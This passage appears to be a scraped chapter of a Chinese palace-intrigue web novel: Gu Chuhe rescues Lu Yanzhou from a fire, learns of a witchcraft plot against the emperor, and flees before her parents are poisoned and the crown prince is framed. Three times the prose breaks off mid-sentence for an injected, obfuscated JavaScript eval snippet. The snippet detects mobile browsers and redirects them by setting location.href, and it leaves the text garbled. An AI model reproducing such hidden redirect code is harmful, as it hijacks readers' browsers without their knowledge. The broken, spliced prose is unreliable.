“咳咳,快来人啊,起火了,救命啊!”,顾初禾一边拍打着即将昏迷的少年,一边朝着不远处的前厅高喊。
这一次,已经泡完脚刚准备躺下的店主终于听到了她的呼喊,连鞋都没穿好就跑了出来。
店主看见柴房的火势迅猛,急得又拍大腿又转圈,完全乱了方寸。
好在附近的夜巡兵也察觉了此处燃起火光,迅速朝着棋院赶来,四周的百姓也纷纷自发挑水帮忙灭火。
火势得以控制,可顾初禾惊魂未定,就算她心性较同龄人略成熟些,也不过是个刚满十四岁的少女,遇到这样惊险的事,没有哭着逃走已经很难得了。
“咳咳咳…”
少年靠在她的肩头,先前他难以避免地被迫吸进了几口浓烟,这会儿咳出来可算好多了。
“你没事吧?”,顾初禾托着他的双颊,一脸担忧地问道。
待她定睛仔细一瞧,发现竟还是个眼熟的。
“你,你是天福寺的那位小沙弥?”
他们有过两面之缘,一次施粥,一次井边洗碗,今夜是第三回了。
少年逐渐意识清醒,也认出了她,反应过来刚才发生了什么,忙扶着墙站了起来,恭恭敬敬地向顾初禾躬身行礼。
“多谢姑娘义举,救我于火海,如此大恩,陆砚舟铭记于心,日后定当报答。”
“陆砚舟…”
顾初禾将他的名字念了一遍,垂眸浅思。
和尚都有自己的法号,既已出家,又怎会脱口而出尘世俗名,加上他不仅蓄发,还犯了佛家的酒戒…
“你是个假和尚?!”
陆砚舟闻言连忙摆手,耐心解释道:“姑娘误会了,我本就不是出家人,只是为亡父超度,才在天福寺小住禅修。恰逢腊八那日信徒众多,寺内人手不足,住持便让我帮着师父们施粥,那日之后,我就离开了天福寺。”
他行事有礼,谈吐大方,看着不像是撒谎,眼神中更是流露出对先父的敬意和思念。
顾初禾信了他的话,“原来是这样,那你为何酒后睡在柴房里?”
“实不相瞒,我近日在棋院帮工,其余的屋子都租借了出去,只剩下柴房收拾收拾还能住,店主便让我暂住一阵子,等到圣驾回銮后,就可以搬进客房了。”
圣驾即将亲临奉州,不少豪绅学子为了一睹圣颜,提前了一个月就将城中的客栈占满了,就连棋院用来招待棋友的客房,都被几名豪绅给高价租下了。怕是要等到祭祀大典结束,圣驾回京的那日,奉州城才会恢复如常。
顾初禾听他说话井井有条不卑不亢,逻辑清晰,像是读过书的,衣衫虽旧了些,但看得出衣料柔软,织绣精湛,不像家破人亡,被迫流浪街头的孤儿。
“那你母亲呢?”,她心想,纵然是父亲亡故,也不至于一个亲友都无,他瞧着也就十五六岁的模样,这么久不回家,他的家人难道就不担心吗?
陆砚舟肩膀下沉,低头沉默了片刻,才将身世娓娓道来。
“我出生不久后,阿娘进了一个贵夫人家中给小公子做乳娘,她为人本分,深得贵夫人喜爱,就留下她一直照顾小公子。就连我也沾了光,四岁那年得以进府陪伴小公子习武念书,几乎朝夕相伴。”
“这样慷慨大方的主家很是难得,因此阿娘总劝我不要想家。”,他平静地说起自己的过往,直到提起他的父亲。
“可半年前,我爹突然意外身亡,我因此大病一场,贵夫人的大公子给了我二十两银子操办丧事,还准了我一年的假,叫我好好调养身体。”
“我便来到奉州,进了天福寺带发修行,既是为了养病,也是为父亲超度,每日诵经祈求他能早登极乐。修行结束后,我无处可去,就在城中四处游荡,花光了钱财,才来到棋院帮工。”
陆砚舟快速眨了几下眼睛,但还是难掩湿润的眼眶。
“今日,原是我阿爹的生辰,我看见桥下许多人都在放河灯,便想起了与他相处的点滴,总觉得对不住他,这才借酒消愁。”
“如今我已过舞象之年,还是一事无成,深感有负爹娘的期望。醉卧在柴房里,还险些被火烧死,幸好姑娘搭救。”
说罢,他又朝顾初禾行了一礼。
听完他的身世故事,顾初禾不免伤怀,两人差不多的年纪,她有双亲疼爱珍视,而陆砚舟却再也见不到他的父亲了,若是她的父母骤然离世,自己恐怕也要跟着去了。
陆砚舟死里逃生,额角处还覆有一抹黑色碳灰,虽然脸弄脏了,可他澄澈明亮的双眸如一潭清泉,鼻头左侧有一枚小痣若隐若现,一根发带扎在头顶半束发髻,酒醉后身姿依然挺拔如松,周身散发着纯粹自然的少年意气。
“或许,这就是善缘吧。你曾施我一碗腊八粥,还替我瞒下了攀折天福寺腊梅之事,今日我为了寻回爱物,偶然间救下了你,定是你父亲在天有灵,冥冥中作出指引。”
顾初禾哄小孩有一手,却从来没哄过这么大的“小孩”,她将前日刚买的丝帕递到陆砚舟手中,指着他的额头,示意他擦擦碳灰。
“可逝者已逝,祈福超度是为了让你父亲早入轮回,你若因酒伤身,岂不是更让他担忧,又如何能安息呢。”
她也不知道这番话能不能安慰到陆砚舟,可她能做的也只有这些了。
“姑娘所言极是,陆某醍醐灌顶,日后定不会再因饮酒误事。”
说着,陆砚舟低头从腰间取下了一把折扇,双手捧到她面前,“姑娘,还请收下此物,若是将来遇到什么难处,可凭它来京城找我,我当赴汤蹈火。”
夜色暗淡,顾初禾看不清这把折扇的用材,但他贴身收着,想必十分珍视,便推了回去。
“举手之劳而已,不必如此客气。”
“收下吧,也不值钱,只当是个信物。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556901|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
在陆砚舟的再三坚持下,顾初禾收下了折扇。
“也罢,若是日后有机会去京城,便让你做我的路引,带我尝遍京城美食。”
二人相视一笑。
就在这时,秋娘提着灯笼找过来了。
灯笼上一个大大的顾字,吸引了陆砚舟的注意。
“禾姐儿,你可吓死我了!”,秋娘见她一直未归,实在担心,便将熟睡的顾长意交给车夫老刘看顾。
顾初禾被火情分了心,一时忘了宵禁之事,“秋娘,我错了…”
“人没事就好,东西找着了吗?”,秋娘提灯走近,这才发现她身旁还有一个少年。
虽说大承国男女之防不严,可入了夜还跟一个男子在外攀谈说笑,这事儿传到旁人耳中,只怕对顾初禾名声不利。
秋娘一把拉过了她,催促她赶紧回马车上去。
陆砚舟没有阻拦,只是默默朝着顾初禾离去的背影行了一礼,深谢她的救命之恩,也将这个“顾”字记在了心里。
回到马车上,顾初禾将事情原委道来,秋娘也承诺不会向顾明道夫妇提起此事。
天干物燥,明火易燃,本就频发灾情,况且今日城中四处都在燃烟火,点河灯,就连孩童的手中也提着各色各样的灯笼满城乱逛,大约是棋院的柴房不走运,沾上了一点火星子,就那么烧了起来。
就算是官府的人来了,火源也无从查起,店主只能自认倒霉,好在只有柴房化为灰烬,其他房屋未受影响,损失亦能承受。
陆砚舟失了住所,只好跟店主挤了一晚。
另一头,顾初禾赶在宵禁最后一刻回到家中,看见爹娘屋里烛火还亮着,便让秋娘抱妹妹先去休息,她想和爹娘说两句话再回房间。
窗外,顾初禾脚步轻缓,慢慢靠近父母房门,不想却在即将推门而入时,听见了他们的对话有异…
舒映芳靠在丈夫肩头,小声抽泣:“距离祭祀大典的日子越近,我这心里就越是发慌,总觉得那些供烛会出事…”
“你我当初是无奈之举,意儿的病危在旦夕,做父母的怎能眼睁睁看着她早亡。如今意儿服药两个月,已然好转许多,想来宫里那位确有神通,能请得动太医开方抓药,且行事周密。你放心,只要熬过祭祀大典,咱们一家再无忧虑了。”
顾明道这两个月也是度日如年,他和夫人一样忧思到不能入眠,可他身为一家之主,若是乱了阵脚,那顾家可就真的要垮了,因此他只能劝慰夫人放宽心,哪怕他也早已心乱如麻。
“可若是熬不过去呢,事情一旦败露,只有你我遭殃也就罢了,可两个女儿何其无辜,一想到孩子们,我便心如刀绞。”
舒映芳扶着桌角声泪俱下,将心中疑虑一一剖析。
“巫蛊之事关乎国运,关乎陛下的性命,若事发后,宫里的那位与我们撇清关系,将罪责全都推到咱们身上,我们连他的面都没见过,到时候就连分辩都不知如何开口,岂不死得冤枉。”
房门外,顾初禾听得云里雾里,只从爹娘言谈中察觉出顾家即将大祸临头。
她直接推门而入,震惊又疑惑地望着双亲:“阿爹,阿娘,到底出什么事了?什么宫里,什么巫蛊?”
5. 出逃
顾明道夫妇还以为孩子们早就睡下了,压根没留意到半掩的门缝外,长女已将祸事始末听了三五分去。
顾初禾一向伶俐,这时候改口谎称说笑,只会让她更加生疑,夫妇俩知道,瞒不住了。
对视一眼后,二人只好将事情始末一一道明。
舒映芳从小案上拿起即将燃尽的一支供烛,翻了过来,露出底座,交到顾初禾的手中细看。
“这是什么字,我怎么不认得?”,顾初禾走到烛光下,细细看了底座隔热片下面刻着的咒文,可她看不懂。
“这似字非字的图形,是以毒虫的血液绘制,这便是巫蛊之术,传说可伤人性命。”
舒映芳怕她摸到咒文,被毒虫的血渍伤到,便赶紧把供烛收了回来。
“咱们顾家承接了天福寺为战场亡灵祭祀所用的器具,其中便包含这供烛,用作燃放长明灯…”
“阿娘,那这符咒上的字是什么意思,是要害谁?”,顾初禾本想用丝帕擦擦手,却忘记已经借给陆砚舟了。
舒映芳眸光黯淡,叹了声气,望着女儿道:“陛下。”
“什么?”,顾初禾还以为自己听错了,可看着爹娘的神情,又感觉这是真的。
她被吓得向后退了几步,险些撞到桌角。
“这可是死罪,到底是谁逼你们这么做的?是那个住持?”
“住持也是听命行事,幕后主使究竟是谁,我们也不得而知。他很神秘,从未现身,唯一能知道的就是,他是宫里的人,我猜测…必是皇亲。”,顾明道经商多年,自然是有些智慧的,他通过枝叶末节,已然推算出幕后之人大概的身份。
顾初禾吓得腿软了,一屁股跌坐在凳子上,“皇亲?皇亲为何要害陛下,难道他想篡位?”
宫中皇亲众多,位高权重之人又手眼通天,将自己掩得严严实实。
天子之位本就人人觊觎,即便已经猜出有人想趁机篡位,也很难猜出那个人是谁。
“长明灯的走向无人能预料,若是供烛底座的符咒被有心人发现,咱们一家必死无疑,我们唯一能做的就是赌,赌此事不败露…”,舒映芳已经两个月没有睡好了,如今距离祭祀大典更是只剩下两日,她心慌得厉害,用力按压着太阳穴缓解头痛。
顾初禾闭了闭眼,再睁眼,透过窗户举头仰望天空,却只见乌云蔽月,此刻忐忑不安笼罩在心头…
“阿娘糊涂,长明灯有上万只,天下又能人异士甚多,这符咒一看就不是什么正经的文字,有心之人捡去之后不费吹灰之力,便能查到咱们顾家。”
她扶额叹息,只恨自己那日没有跟爹娘一起去见住持。若她在场,或许事情尚有转机,即便是尘埃落定,无法扭转乾坤,至少也能早有准备,总不似今天这般突然。
“宫里那位铁了心要害陛下,若陛下真的骤然驾崩,满朝文武岂不生疑,最终也还是会查到这供烛上来。”
她不能就这样看着顾家遭难,于是向父亲提议:“咱们现在最应该做的,就是销毁供烛,将库里存放的寻常香烛拿出来顶替,才能谋得一线生机。”
顾初禾乱了阵脚,全然忘了傍晚时分天福寺的僧人们已经来过顾家,将那些供烛拖走了。
即便供烛还在顾家,事情也没那么简单就能解决。
“偷天换日也无用,宫里那位若是发现咱们用的是普通香烛,一样会找上门来。意儿服用的汤药是他给的,病治好了,事却没办成,咱们一样是死,躲不过的。”,顾明道绕到女儿身后,拍了拍她的肩膀。
顾初禾闻言垂下了眼眸,跌坐在凳子上,叹息道:“阿爹说的是,只怕从那位远亲说起天福寺灵验,有医方可治意儿喘症的那天起,咱们就已经一步步迈入圈套,进退两难了。”
此刻一家三口皆眉头紧锁,像是被判了刑一般恐惧压抑。
“禾儿,是爹娘对不起你,为了给意儿治病,竟要折上你的性命。”,舒映芳忍了两个月,此刻终于在女儿面前释放情绪,放声痛哭了出来。
顾初禾见状忙扑进她的怀里,红着眼给母亲拭泪,“阿娘,咱们是一家人,本就该同甘共苦,我不会怪你们的。”
顾初禾越是这样说,舒映芳就越是觉得愧疚于她。
她自幼聪颖懂事,小小年纪就能体谅爹娘的辛苦不易,自打妹妹出生以后,她干什么都想着给妹妹留一份。
爹娘忙碌的时候,是她哄着妹妹吃饭睡觉,明明自己也还是个孩子,却乖巧地不叫人操一点心。
舒映芳时常想,生下这样好的女儿简直是来报恩的,便是千金万金她都不换。
可如今,形势所逼,不是她想强留女儿在身边就能做得到的。
她下定决心,对顾初禾道:“你和意儿逃走吧,趁着陛下还没来奉州,能跑多远跑多远。”
舒映芳握着女儿的手,虽满眼不舍,可这是唯一还能保命的办法了。
“你们隐姓埋名藏起来,记住,以后…你们就不姓顾了。”
“阿娘,我不走,我不能离开你们!”,顾初禾自出生起,就没和爹娘分开过,她自己还是个孩子,即便带着妹妹逃出顾家也不知道能去哪里。
“就算要走的话,咱们一起走。”
“禾儿,爹娘走不了了,我们若是不在,宫里那位一定生疑,到时候派人追杀,咱们一家四口可就都活不成了。”
舒映芳温柔地安抚着女儿,“只要我和你爹还在顾家,就能为你们姐妹多争得几日逃命的时间。”
“对对对,你阿娘说得对,禾儿,你们今天就走。”,顾明道也赞同妻子的说法,他是个生意人,从前求的是顾家富贵兴旺,如今他却只求女儿们平安。
“若是顾家侥幸逃过这回,到时候你们再回来就是。”
“我这就去给你们收拾行装,要多带些盘缠和衣裳,如今虽已是春日里,可早晚寒凉,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556902|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定要记得添衣保暖。”
临近分别,做母亲的总有嘱咐不完的话,一旦流落在外,肯定事事都不如在家舒坦,每日吃什么穿什么睡哪里,会不会遇见坏人都要担心。
姐妹俩年纪都不大,万一被人欺负怎么办…
舒映芳就是因为担心这些,才迟迟没有送走女儿们,整整拖了两个月的时间,可如今已是箭在悬弦上,不得不发了。
“禾儿,照顾好自己和妹妹,若我和你阿爹真的逃不过这一劫,你也不要想着替我们报仇,你们好好活着最要紧,记住了吗?”
顾初禾从未想过会有这一天,她与父母感情深厚,危难之时怎能抛下他们,她抱住阿娘的腰,声泪俱下,“我不要和你们分开,要死一起死,我们来生还做一家人。”
“不可胡说,如今一切尚有变数,咱们不过是暂时分离以待来日,说不定过几天你们就能回来了,别想太多。”,顾明道自知凶多吉少,说这些话不过是哄女儿安心罢了。
他们没有惊动家仆,就连秋娘都没有告诉,一来是怕牵连他们,二来也是怕暴露顾初禾的行踪。
夫妻二人恨不能将整个家都塞进马车让女儿带走,棉被,冬衣,吃食,还有千两银票,珠宝首饰全都堆在车厢里,只留个狭小空间让孩子们坐着。
顾长意还在睡梦中,不知发生了什么,迷迷糊糊被父亲抱上了马车。
“禾儿,你学过如何驭马的,不要害怕,只管朝前走就是,若一切风平浪静,爹娘便去各州郡张贴告示迎你们回来。可万一有什么变故,你们就是彼此唯一的亲人了,千万要照顾好自己,行事不要冲动,保命要紧。”,舒映芳担心了两个多月,此时真的到了危急时刻,她反而冷静沉着了下来。
马车前,她从发上取下一只金玉桂花簪,“锦州的珍姨你是见过的,我与她是金兰之交,你拿着这只发簪去找她,以我们的交情,她一定会收留你的。只是…要等到风波过去之后再去,以免恶人追杀,连累了她。”
顾初禾将发簪紧紧握在手里,眼泪控制不住地往下落,她看着父母不舍的眼神,沉沉地跪了下去,哽咽道:“禾儿明白,禾儿一定照顾好妹妹,爹娘你们也一定要平安无事,我和妹妹不能没有你们。”
说罢,朝着父母重重的磕了三个响头。
“好孩子,快起来。”,顾明道夫妇也早已泣不成声,他们张开双臂环抱着女儿,真想时间永驻在这一刻。
可寅时将至,天都快亮了,再怎么依依不舍,也总要分别。
舒映芳将女儿推上马车,“快走吧,不能再耽搁了。”
顾明道起手挥舞皮鞭拍打在马儿身上,纵然还有千百句话要说,他还是狠下心眼睁睁送走了女儿。
顾初禾坐在马车前一直回望父母,直到泪水模糊了视线,马儿拐进右巷,再也看不见二老的身影…
夫妇二人相拥瘫坐在地上,望着女儿离去的马车捶胸痛哭。
6. 事发 两日后
两日后
祭祀大典如期而至,大承国天子赵昀驾临奉州。
除二皇子赵献因病卧榻不能远行,留在京城养身子,其余皇子皆随驾而来。
为睹圣颜,几乎全奉州城的百姓都聚集在天福寺外,将寺院围得是里三层外三层。
清晨时分,赵昀携诸皇子和大臣诵经跪佛,午膳用的是素斋,在天福寺的禅院休憩了半日,将于戌时亲手燃放长明灯。
住持圆修命僧人们将长明灯移至慧灵塔,此乃七层宝塔,传说塔尖还存放着首任住持的舍利子,一直护佑着天福寺香客不断。
白日里清晰可见的山峦树木,此刻隐入夜色之中。
戌时已到,赵昀与太子赵琛一前一后迈进慧灵塔,住持将长明灯分别奉送到两人手中。
就在住持用香烛引燃赵昀手中那盏长明灯之时,竟被一阵急促的呵停声打断。
“陛下,此长明灯有异,不可燃放啊!”
突然放声的是太常寺丞,也就是那位向顾家定购供烛的冯大人。
“陛下,臣有罪,还请陛下宽恕。”,冯大人当着百官和皇子的面,跪在慧灵塔下。
赵昀好歹做了十几年的皇帝,什么惊奇险事都经历过,无论这灯有什么蹊跷,他都能临危不乱,只蹙眉问道:“此灯有何异常?”
冯大人的额头狠狠在地上磕出了一块血印,颤着嗓音答话道:“回禀陛下,此供烛的底座刻有符咒,可使战死沙场的近万名将士魂魄不宁,怨气聚结反噬陛下,此乃巫术!”
阶下众臣闻之交头接耳,震惊不已…
“什么…这可是要弑君啊!”
“前朝便是亡于巫蛊,因此本朝严禁邪术,陛下更是痛恨至极,究竟是谁人如此大胆!”
赵昀将长明灯交到贴身的吴内监手中,命其查验。
没一会儿,吴内监拆下蜡烛,烛底的符咒显出,果真如冯大人所言,有人在供烛中做了手脚。
“你自请有罪,想必是与此事脱不了干系,那么这蛊术是你一人谋划?还是受人指使,另有主谋?”,赵昀冷眼扫视了一圈阶下的大臣,只一眼便令众人噤若寒蝉,寺中僧人也面面相觑惶恐不安。
“陛下,罪臣,罪臣…是奉太子之命。”
冯大人伏地浑身颤抖,后背已然汗湿。
“太子殿下不满您在位数年多番打压,只想早日登基称帝,因此罔顾人伦,设下此计,意图谋害陛下啊!”
赵昀为历练太子,让太子亲率大军在外征战五个月,京城内外早有传闻,说太子不满陛下搓磨锤炼,父子二人早已离心。
可太子在战场吃尽了苦头,也未有过半句怨言,他深知父皇的慈爱之心,是想让他在军中树立威信,他从来没有误会过。
这些传闻空穴来风,分明是有人预谋加害。
“父皇,儿臣没有。”
赵琛无辜,双膝跪地伏在父皇面前为自己申诉。
“儿臣于半月前刚刚回朝,哪里能未卜先知,在两个月前将什么符咒藏于烛中啊,望父皇明鉴。”
赵琛性子刚直,不会文人的那些拐弯抹角隐喻委婉,又不如几位皇弟会撒娇嘴甜,自小就在言语上吃亏不少。
如今面对言官构陷,更是无从辩起,只能大喊冤枉。
“去岁冬至之际,陛下就已有意为战死的亡灵超度,只是碍于年关将近诸事繁多,才延至今日。凡是在京的官员,皆知陛下心意,就连天福寺也在此之前早早做好了准备。”,冯大人早知太子会这么说,他两眼一转,又道出一件对太子不利的秘事。
“太子虽远在战场,可皇后娘娘耳目灵通,于两个月前书写了密信送至前线,太子,您敢说这些时日以来,与宫中毫无书信来往吗?”
皇后慕氏,十六岁那年被先帝赐婚给赵昀,如今已二十余载。
天家夫妇与寻常百姓不同,慕氏背后的母族牵动着整个朝堂。
帝后多年来面和心不和,就连太子也是慕氏族人逼着赵昀立下的,他疼爱太子,但不愿受人掣肘,因此常常冷落慕氏。
若说太子是否有弑君弑父之心犹未可知,那慕氏一族欲扶太子早日登上皇位之意便是昭然若揭。
赵昀的目光缓缓扫过群臣,最终落在了慕氏身上,他的语气仿若寒潭,上挑的眼角带着与生俱来的威严,“皇后,你与太子是否私下传递密信?”
在天子怀疑的目光下,慕氏背上冷汗涔涔,她心中一凛,忙伏地叩首,声音微微颤抖:“陛下,臣妾的确给太子写过书信,但信中并未提及祭祀之事啊!”
慕氏的确心中有鬼,可今日之事实属冤枉,她不知如何才能消除这份猜忌,额头紧贴着冰冷的地砖,大气都不敢喘。
天子的眼神逐渐锐利,幽暗中透着令人胆寒的气息,下令道:“来人,将所有供烛捣毁,查看底座是否刻有符咒。”
一众侍卫得令之后,从百官手中夺过长明灯,暴力拆开后将供烛砸碎露出底座。
那些异形文字一一展露在众人面前,侍卫回禀道:“陛下,确有。”
眼见为实,赵昀就算信任太子,此刻也无心继续祭祀大典了,他气愤地拂袖而去,“回宫!”
筹备了那么多日的祭祀大典突然取消,天福寺外的百姓议论纷纷,风言风语愈传愈烈。
顾宅
顾明道夫妇在院中等了许久,都没有等到长明灯升空,正疑惑之际,一名黑衣男子破门而入,手中还执着一把利剑。
“前厅后院空无一人,二位倒是神机妙算,早早就将家仆遣散了,想必是知道我的来意。”
黑衣男子环视四周,扯动嘴角哼笑一声,“还真是胆大啊,既然知道我会来杀你们,竟然不逃。”
顾明道将妻子护在怀里,微弱的灯光下,他看清了男子的脸,竟是那日在天福寺领他们去见住持的僧人,净尘师傅。
“祭祀大典并未举行,巫蛊之术也还未败露,为何你要来杀我们灭口?”,舒映芳不解地问道。
“念在你们夫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556903|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妇二人辛苦一场的份上,我就让你们死的明白些。”,净尘将利剑举在胸前,两指轻弹,清亮脆响乍起。
“主人的目的可从来都不是用巫术这等虚妄之事加害陛下,而是为了借此事祸水东引。”
“二位还不知道吧?太子殿下和皇后被人揭发,此次巫蛊事件是他们所为。”
一轮冷月高悬天际,洒下森冷的银辉。
寒风呼啸而过,如鬼哭狼嚎。
顾明道夫妇不禁打了个冷颤。
“皇后和太子?这…”,舒映芳双眸转动,总算讲此事的来龙去脉理了个清楚。
“我明白了,原来你背后的主人,是想将太子拉下马,故意设计栽赃陷害。你们的目的,从一开始就不是诅咒陛下暴毙,而是想让陛下疑心太子。”
净尘不紧不慢地说道:“巫蛊不过是民间邪术,陛下从来不信,可他最恨有人用此事争宠夺位。”
顾明道直到此刻才明白,他们是被人利用,搅进了一场夺嫡之争。
“陛下真的信了这件事是太子所为?”
“半信半疑,但是很快他就会全信了。”,净尘挑剑抵着顾明道的脖子,从怀中掏出一份伪造的信件。
“因为只要你二人畏罪自尽,死无对证,就坐实了太子的阴谋,这封书信,便是你们往来的证据。”
舒映芳接过信件草草看了几眼,信上写着太子命令他们夫妇在供烛里做手脚,书信落款还有太子的印章。
“果然缜密,就连做戏都要做全套,你背后的那个主人究竟是谁?”
“这个嘛,您此生怕是无从得知了。”,聊了这么久,净尘才察觉出哪里顾初禾姐妹迟迟没有现身。
他轻笑道:“原来如此,你们这是为两个女儿争取逃命的时间…真是舐犊情深啊。”
“求求您,求求您放过我的两个女儿,她们还是孩子,什么都不知道!您不是出家人吗,求您慈悲!”,舒映芳别无所求,沦为夺嫡之争的牺牲品她认了,顾家多年来积攒下的家业付之一炬也无所谓,唯有孩子是她此生最大的牵挂。
她直直跪了下去,卑微地拽着净尘的衣摆,祈求他存有一丝怜悯之心。
顾明道与妻子一样,除了天地祖宗没跪过别人的他,此刻也对着仇人三拜九叩。
“二位,上路吧,我可得赶在官兵来羁押你们之前,先解决了你们,才好向上头交代。”
净尘似有动容,但也没明说答不答应他们的请求,他蹲下身,取出两瓶毒药放在夫妇二人手里。
“放心,这药快得很,一眨眼的功夫,不会让你们受罪。”
院中,一棵干枯的老槐树孤独地立着,扭曲的枝干仿若恶鬼的利爪,伸向夜空。
枝头,一只乌鸦缩着身子,羽毛在冷风中凌乱,时不时发出几声沙哑的“呱呱”叫声,更添几分阴森。
半盏茶后,夫妇俩相拥倒地,七窍流血,死不瞑目。
净尘将伪造的书信揣进顾明道的袖口,转身消失于夜幕。
7. 新帝 三日后
三日后
顾家参与巫蛊弑君之事,传遍坊间。
据传夫妇二人的尸身已被官兵拖走,就连墓葬何处都不知道,已经逃到奉州城外的顾初禾听闻此事悲痛欲绝。
顾长意几日没见到父母了,夜夜哭闹着要回去,买多少糖人都哄不住她。
尽管装着满车的钱帛也不敢花,店铺掌柜一看她们年纪小,都以为是从哪儿偷来的钱财,次次都要报官。
客栈要查验她们的户籍,可身为罪人之女,又不能说出自己的真实身份,只能在一处破庙里,姐妹俩相依为命。
宫中,议事殿
太子和皇后被分别圈禁,赵琛在战场杀敌归来,本就病体未愈,如今被百官误解,被父皇猜疑,他颇感伤怀,病得更重了,现下已卧床不起。
冯大人早与巫师串通,巫师被捕后,当着陛下的面招供,声称:“一年前,皇四子赵安骤然离世,也是皇后命小人行巫蛊之术施咒而亡…”
而皇后无言可辩,此事确是真的,只是太子并不知情。
“陛下,老四的死是我做的。”
慕氏深知自己不得宠爱,狡辩亦是无用,杀死皇四子之事她不认也得认。
“可此番祭奠将士亡灵的蛊术与臣妾无关,若是我做的,为何不做得隐蔽一些,将符咒藏于长明灯中,极其容易被发现,难道我这么蠢?太子更是刚刚回朝,他自己身上还有伤,哪有心力布署这些。”
龙椅上,赵昀深感疲惫,每一个字都像是从牙缝里挤出来,绵软无力,下旨:“皇后慕氏残害皇嗣,即日起废为庶人,押入冷宫。”
说完便又垂下头,似被无形的压力压得抬不起身,“至于太子…”
话音未落,议事殿外,太子身边的内监被台阶绊倒,跪趴在地上哭着奏报:“陛下!太子…太子薨了…”
太子到底还没有被废,内监宫女闻之纷纷跪地掩面而泣,皇后更是如天塌般死心,彻底晕厥过去。
太子之师窦太傅携皇七子赵嘉前来求情,还未能面圣,便听闻太子薨逝,二人捶胸顿足,只恨来晚一步。
为了皇家颜面,赵昀依窦太傅所请,依旧以太子仪制下葬赵琛,并追封其谥号为恭吉。
恭吉太子出殡那日,皇后疯了,在冷宫抱着枕头赤足狂奔。
半年后
东宫之位空悬,朝局动荡不定,为稳民心,赵昀在百官的请求下,立二皇子赵献为新太子。
赵献之母是贵妃,出身尊贵。
自恭吉太子薨后,他时常以兄长的身份欺压其他皇弟,嚣张跋扈。
皇七子赵嘉的生母难产而亡,十六年前刚出生便交由皇后抚养,如今恭吉太子已逝,皇后被锁冷宫,他常常受到新太子的羞辱,不知该何去何从。
幸而他身边还有一位自幼一同长大的伴读相随,压抑沉闷的皇宫里,也算还有个能说得上话的知己。
仁惠殿
赵嘉从习武场回来,看见知己从宫外带进来的食盒,脸上的阴霾尽散。
他绽出笑颜,朝着知己走去,“砚舟,等急了吧?”
陆砚舟提着食盒,微微躬身行礼。
“七殿下。”
“哎呀,不是都说了嘛,没有外人的时候就唤我敏德。”
赵嘉行七,字敏德,除父皇母后外,只有陆砚舟可以唤他敏德,就连已逝的太子哥哥都不行。
陆砚舟之前跟顾初禾提起的贵夫人就是皇后,那个给了他二十两安葬父亲的大公子,便是恭吉太子。
他的母亲是赵嘉的乳娘,也是皇后的贴身侍婢。
四岁那年,他就进宫伴读在赵嘉身旁,亲如兄弟。
陆砚舟父亲死后,他出宫待了半年,赵嘉没有一日不盼着他早日回来。
本来陆砚舟还打算再在民间漂泊一阵,直到听闻巫蛊之事,他担心皇后和太子,便提早回宫了。
只可惜,他晚了一步,等他到宫里的时候,就连恭吉太子的最后一面都没见上。
二人面对面席地而坐,共享一盒糕饼。
“先太子的品行有目共睹,巫蛊之事绝不可能是他做的,此事疑点重重大有文章。太子骤然病逝床榻,显然是有人等不及了。”
陆砚舟至今还是不愿相信恭吉太子意图弑君,无论外头风言风语传得多么夸张,他始终坚信此案存疑。
说句僭越的话,他在心里早就将恭吉太子,视为兄长一般敬爱了。
赵嘉闻言,忙捂住他的嘴:“这是在宫里,到处都是旁人的耳目眼线,说话可要谨慎些。况且,如今的新太子已是二哥,切莫犯了禁忌,可别唤错了人。”
“新太子…无德无良的太子,如何能服众。”
陆砚舟心中憋着一口气无处宣泄,本以为仁惠殿是赵嘉的地盘,他们说话能自在些,不想殿中的宫女内监都被新太子换了一批,说起话来更加不能畅快了。
他压低了声音,蹙眉提议道:“敏德,宫中气象污浊,朝堂混乱一片,你背后无人撑腰,若是再待下去,只怕下场犹如先太子。不如,你去向陛下请旨去封地吧,我亦随你一起,远离这些是非。”
“你说的是,我这些日子也一直在想,我曾被皇后娘娘抚养多年,二哥因此视我为眼中钉,宫中的日子的确不好过…”
赵嘉将最后一块糕饼丢入口中,站起身拍了拍屁股,点点头笑道:“也罢,宫外自在随心,你我只管畅游天下,这皇位就交由他们争去吧。”
次日一早,赵嘉便向父皇提出自请去封地。
这样的请求,无异于昭告天下,他无心争夺皇位。
可赵昀并没有同意,还让赵嘉留下,父子俩秘密谈话了一个时辰,之后便加封赵嘉为敏亲王,不仅赐了府宅,还为他选定了两朝老臣佟公的女儿为王妃。
陆砚舟怎么都没料到事情的走向会是这样,可他想明白了这件事背后的用意。
陛下必然是听闻新太子残暴无德,便起了废储之心,欲改立赵嘉为东宫新主。
果然,此猜想在一年后得到了印证。
